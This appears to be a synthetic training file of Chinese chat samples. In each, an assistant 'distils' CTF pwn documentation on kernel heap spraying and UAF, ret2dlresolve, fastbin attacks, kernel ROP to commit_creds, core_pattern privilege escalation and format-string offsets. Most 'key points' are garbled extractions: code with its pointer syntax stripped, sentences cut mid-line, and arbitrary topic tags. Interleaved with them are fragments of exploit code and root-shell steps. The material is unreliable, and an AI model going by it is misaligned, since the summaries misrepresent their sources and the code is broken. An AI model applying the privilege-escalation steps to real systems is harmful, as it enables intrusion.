边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:c

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`
标题：Heap Spray
章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > EXPLOIT
路径分类：pwn / pwn/linux/kernel-mode
分块：1/2

核心知识点：
- 本节主题围绕“EXPLOIT”展开。
- } / root checker and shell poper / void get_root_shell(void) { if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!
- } int key_update(int keyid, void payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
- } /* Exploit stage / int main(int argc, char argv, char envp) { size_t buf, pipe_buffer_addr;
- if (dev_fd < 0) { err_exit("FAILED to open the /dev/rwctf file!
- } / construct UAF on user_key_payload / puts("[] construct UAF obj and spray keys...");

关键术语：
- UAF
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

EXPLOIT

Heap Spray
例题：RWCTF2023体验赛 - Digging into kernel 3
EXPLOIT

UAF 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

Heap Spray


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「make a fake write symbol at base_stage + 32 + align」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：make a fake write symbol at base_stage + 32 + align
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“make a fake write symbol at base_stage + 32 + align”展开。
- fake_sym_addr = base_stage + 32 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Symbol is 0x10 fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write st_name = fak...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

make a fake write symbol at base_stage + 32 + align

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「context.log_level="debug"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：context.log_level="debug"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“context.log_level="debug"”展开。
- context.terminal = ["tmux","splitw","-h"] context.arch="i386" p = process("./main_no_relro_32") rop = ROP("./main_no_relro_32") elf = ELF("./main_no_relro_32") p.recvuntil('Welcome to XDCTF2015~!

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

context.log_level="debug"

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/heap_overview.md`
标题：内核堆概述
章节：内核堆概述 > REFERENCE
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“REFERENCE”展开。
- https://arttnba3.cn/2021/11/28/OS-0X02-LINUX-KERNEL-MEMORY-5.11-PART-I/ https://arttnba3.cn/2022/06/30/OS-0X03-LINUX-KERNEL-MEMORY-5.11-PART-II/ https://arttnba3.cn/2023/02/24/OS-0X04-LINUX-KERNEL-MEMORY-6.2-PART-III/ https://blog.csdn.net/lukuen/article/de...

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

REFERENCE

堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation

内核堆概述


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「检查旧堆信息2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define GLRO(name) _##name > 检查旧堆信息2
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“检查旧堆信息2”展开。
- ``c / Precondition: not enough current space to satisfy nb request / assert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));
- ` 根据 malloc 中的定义 `c static void _int_malloc(mstate av, size_t bytes) { INTERNAL_SIZE_T nb;
- / normalized request size */ ` nb 应该是已经加上 chunk 头部的字节，为什么还要加上 MINSIZE `呢？
- 这是因为 top chunk 的大小应该至少预留 MINSIZE 空间，以便于合并。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 2 行，首行 `/* Precondition: not enough current space to satisfy nb request */`
- c: 2 行，首行 `static void *_int_malloc(mstate av, size_t bytes) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

检查旧堆信息2

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation
路径分类：pwn / pwn/linux/kernel-mode
分块：6/8

核心知识点：
- 本节主题围绕“Final Exploitation”展开。
- size_t stack_addr, stack_addr_another;
- size_t stack_page, mm_struct_page;
- _MAP_BASE) / task_struct::parent / && (comm_addr[-56] > KERNEL_DIRECT_PHYSMEM_MAP_BASE)) { / task_struct::read_parent / parent_task = comm_addr[-57];
- page_offset_base = (comm_addr[-50] & PAGE_MASK) - i 0x1000;
- printf(SUCCESS_MSG("[+] Found task_struct on page: ") "%p\n", (struct page) (vmemmap_base + i 0x40));

关键术语：
- UAF
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Final Exploitation

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Final Exploitation

UAF 堆 栈 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「堆内存不够」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 堆内存不够
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 如果堆内存不够，我们就需要使用 sysmalloc 来申请内存了。
- ``c / Otherwise, relay to handle system-dependent cases / // 否则的话，我们就只能从系统中再次申请一点内存了。
- else { void *p = sysmalloc(nb, av);
- = NULL) alloc_perturb(p, bytes);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 9 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

堆内存不够

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「确定相对偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`
标题：利用
章节：利用 > 覆盖内存 > 覆盖栈内存 > 确定相对偏移
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定相对偏移”展开。
- 这里我们通过之前的泄露栈变量数值的方法来进行操作。
- 其次，我们来确定一下存储格式化字符串的地址是printf将要输出的第几个参数()。
- 继而，我们再确定格式化字符串'%d%d'的地址0xffffcd28相对于printf函数的格式化字符串参数0xffffcd10的偏移为0x18，即格式化字符串相当于printf函数的第7个参数，相当于格式化字符串的第6个参数。

关键术语：
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:shell

代码/命令片段线索：
- shell: 16 行，首行 `→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定相对偏移

利用 覆盖内存 覆盖栈内存 确定相对偏移

栈 AI安全 漏洞利用 pwn linux user-mode fmtstr code:shell

利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`
标题：Heap Spray
章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用 > Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址”展开。
- keyctl() 系统调用为我们提供了读取、更新（分配新对象，释放旧对象）、销毁密钥（释放 payload）的功能，其中读取的最大长度由 user_key_payload->datalen 决定，我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大，从而完成越界读。
- > > > 不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放，之后再在 obj2 上弄 UAF 就行了：) 这里采用这种做法只是为了介绍 heap spraying 这一手法。
- 接下来我们考虑越界读取什么数据，这里我们并不需要分配其他的结构体， rcu_head->func` 函数指针在 rcu 对象被释放后才会被写入并调用，但调用完并不会将其置为 NULL，因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针，从而完成内核基址的泄露。
- 注意以下两点： - 这里我们的 description 字符串需要和 payload 有着不同的长度，从而简化利用模型。
- 但我们可以通过堆喷将 UAF obj 分配到 user\_key\_payload，考虑如下流程： - 利用题目功能构建 UAF object。

关键术语：
- UAF
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 12 行，首行 `#include <sys/types.h>`
- c: 11 行，首行 `struct user_key_payload {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Step.I - 堆喷 user\_key\_payload 越界读泄露内核基地址

UAF 边界/溢出 堆 AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Heap Spray


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「加载驱动」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`
标题：搭建内核运行环境
章节：搭建内核运行环境 > 加载驱动
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“加载驱动”展开。
- 现在我们来加载之前编译的驱动。我们只需要将生成的 ko 文件拷贝到文件系统中，然后在启动脚本中添加 insmod 命令即可，具体如下：
- ```bash chown -R root:root / chmod 700 /root chown -R ctf:ctf /home/ctf
- mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmp mkdir /dev/pts mount -t devpts devpts /dev/pts
- echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict
- echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

关键术语：
- pwn
- linux
- kernel-mode
- environment
- code:bash

代码/命令片段线索：
- bash: 15 行，首行 `chown -R root:root /`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

加载驱动

搭建内核运行环境 加载驱动

pwn linux kernel-mode environment code:bash

搭建内核运行环境


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「将代码交互转换为手工交互」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`
标题：栈溢出原理
章节：栈溢出原理 > 将代码交互转换为手工交互
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“将代码交互转换为手工交互”展开。
- sh.interactive() `` 执行一波代码，可以得到 `shell ➜ stack-example python exp.py [+] Starting local process './stack_example': pid 61936 ;
- [] Got EOF while reading in interactive $ [] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936) [] Got EOF while sending in interactive `` 可以看到我们确实已经执行 success 函数。
- \x84\x0 [] Switching to interactive mode aaaaaaaaaaaaaaaaaaaabbbb;
- \x84\x0 You Hava already controlled it.

关键术语：
- 边界/溢出
- 栈
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `执行一波代码，可以得到`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

将代码交互转换为手工交互

栈溢出原理 将代码交互转换为手工交互

边界/溢出 栈 pwn linux user-mode stackoverflow

栈溢出原理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「泄漏 libc 基地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2017 0ctf babyheap > 利用思路 > 泄漏 libc 基地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“泄漏 libc 基地址”展开。
- 这里之所以可以成功是因为堆的始终是 4KB 对齐的，所以idx 4的起始地址的第一个字节必然是0x80。
- `python # if we want to allocate at idx4, we must set it's size as 0x21 payload = 0x10 'a' + p64(0) + p64(0x21) fill(3, len(payload), payload) allocate(0x10) # idx 1 allocate(0x10) # idx 2, which point to idx4's location ` 之后，如果我们想要将 idx 4 放到 unsorted bin 中...
- 具体设计如下 ``Python # 1. leak libc base allocate(0x10) # idx 0, 0x00 allocate(0x10) # idx 1, 0x20 allocate(0x10) # idx 2, 0x40 allocate(0x10) # idx 3, 0x60 allocate(0x80) # idx 4, 0x80 # free idx 1, 2, fastbin[0]->idx1->idx2->NULL free(2) free(1) ` 首先，我们申请了 5 个...
- 由于我们是希望使用 unsorted bin 来泄漏 libc 基地址，所以必须要有 chunk 可以被链接到 unsorted bin 中，所以该 chunk 不能使 fastbin chunk，也不能和 top chunk 相邻。
- 在将该 chunk 释放到 unsorted bin 的同时，也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python
- code:shell

代码/命令片段线索：
- Python: 9 行，首行 `# 1. leak libc base`
- shell: 20 行，首行 `pwndbg> x/20gx 0x55a03ca22000`
- python: 3 行，首行 `# edit idx 0 chunk to particial overwrite idx1's fd to point to idx4`
- shell: 20 行，首行 `pwndbg> x/20gx 0x55a03ca22000`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄漏 libc 基地址

Fastbin Attack
2017 0ctf babyheap
利用思路
泄漏 libc 基地址

堆 AI安全 漏洞利用 pwn linux user-mode heap code:python code:shell

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「修改 core_pattern」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`
标题：Change Others
章节：Change Others > 改数据 > call_usermodehelper > 修改 core_pattern
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“修改 core_pattern”展开。
- 关于如何定位 core_pattern，我们可以采用类似于定位 modprobe_path 的方法。
- 关于使用 core_pattern 进行提权的更多细节，可以参考近期 kctf 的 exp 。
- 1. 修改 core_pattern 为 |/path/to/your/program。
- 由于 core_pattern 中大写 %P 表示崩溃进程在宿主机中的 PID，因此也常被用来取代 modprobe_path 用于容器环境下的提权。
- 2. 启用崩溃转储，触发内核执行 core_pattern 管道符后的程序。

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- aim

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

修改 core_pattern

Change Others
改数据
call_usermodehelper
修改 core_pattern

Change Others


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「SMAP/SMEP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > Mitigation > 通用保护机制 > SMAP/SMEP
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“SMAP/SMEP”展开。
- SMAP即``管理模式访问保护`（Supervisor Mode Access Prevention），SMEP即`管理模式执行保护`（Supervisor Mode Execution Prevention），这两种保护通常是同时开启的，用以阻止内核空间直接访问/执行用户空间的数据，完全地将内核空间与用户空间相分隔开，用以防范ret2usr（return-to-user，将内核空间的指令指针重定向至用户空间上构造好的提权代码）攻击。
- SMEP保护的绕过有以下两种方式： - 利用内核线性映射区对物理地址空间的完整映射，找到用户空间对应页框的内核空间地址，利用该内核地址完成对用户空间的访问（即一个内核空间地址与一个用户空间地址映射到了同一个页框上），这种攻击手法称为 ret2dir 。
- Intel下系统根据CR4控制寄存器的第20位标识是否开启SMEP保护（1为开启，0为关闭），若是能够通过kernel ROP改变CR4寄存器的值便能够关闭SMEP保护，完成SMEP-bypass，接下来就能够重新进行 ret2usr，但对于开启了 KPTI 的内核而言，内核页表的用户地址空间无执行权限，这使得 ret2usr 彻底成为过去式 。
- > 在 ARM 下有一种类似的保护叫 PXN`。

关键术语：
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

SMAP/SMEP

ROP/JOP 漏洞利用 pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「解题思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`
标题：Kernel ROP
章节：Kernel ROP > 例题：强网杯2018 - core > 解题思路
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 经过如上的分析，可以得出以下解题思路： 1. 通过 ioctl 设置 off，然后通过 core_read() 泄漏出 canary 2. 通过 core_write() 向 name 写，构造 ropchain 3. 通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop 4. 通过 rop 执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权 5. 返回用户态，通过 system("/bin/sh")...
- iretq，之前说过需要设置 cs, rflags 等信息，可以写一个函数保存这些信息 ``c // intel flavor assembly size_t user_cs, user_ss, user_rflags, user_sp;
- /tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址 - 如何返回用户态？
- void save_status_intel() { asm volatile( "mov user_cs, cs;
- puts("[*]status has been saved.");
- } // at&t flavor assembly void save_status_atNt() { asm volatile( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) : : "memory" );

关键术语：
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 26 行，首行 `// intel flavor assembly`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

解题思路

ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Kernel ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「状态查看」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`
标题：KPTI - Kernel Page Table Isolation
章节：KPTI - Kernel Page Table Isolation > 状态查看
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“状态查看”展开。
- 我们可以通过以下两种方式来查看 KPTI 机制是否开启。
- ``shell /home/pwn # dmesg | grep 'page table' [ 0.000000] Kernel/User page tables isolation: enabled /home/pwn # cat /proc/cpuinfo | grep pti fpu_exception : yes flags : ... pti smep smap ``

关键术语：
- pwn
- linux
- kernel-mode
- defense
- code:shell

代码/命令片段线索：
- shell: 5 行，首行 `/home/pwn # dmesg | grep 'page table'`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

状态查看

pwn linux kernel-mode defense code:shell

KPTI - Kernel Page Table Isolation


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`
标题：简介
章节：简介 > 常用代码模板
路径分类：pwn / pwn/linux/kernel-mode
分块：1/5

核心知识点：
- 本节主题围绕“常用代码模板”展开。
- } /* @brief create an isolate namespace note that the caller SHOULD NOT be used to get the root, but an operator to perform basic exploiting operations in it only / void unshare_setup(void) { char edit[0x100];
- if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!
- } / for ret2usr attacker / void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds) { void (prepare_kernel_cred_ptr)(void ) = (void ()(void)) prepare_kernel_cred;
- if (socket_fd < 0) { printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
- if (ret < 0) { printf("[x] failed at setsockopt(PACKET_VERSION)\n");

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常用代码模板

AI安全 漏洞利用 pwn linux kernel-mode exploitation

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「实例 2 : plaidctf 2015 plaiddb」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：vim:fenc=utf-8 > 实例 2 : plaidctf 2015 plaiddb
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“实例 2 : plaidctf 2015 plaiddb”展开。
- ``shell ➜ 2015_plaidctf_datastore git:(master) file datastore datastore: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1a031710225e93b0b5985477c736538...

关键术语：
- 堆
- 栈
- AI安全
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 11 行，首行 `➜ 2015_plaidctf_datastore git:(master) file datastore`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

实例 2 : plaidctf 2015 plaiddb

堆 栈 AI安全 pwn linux user-mode heap code:shell

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

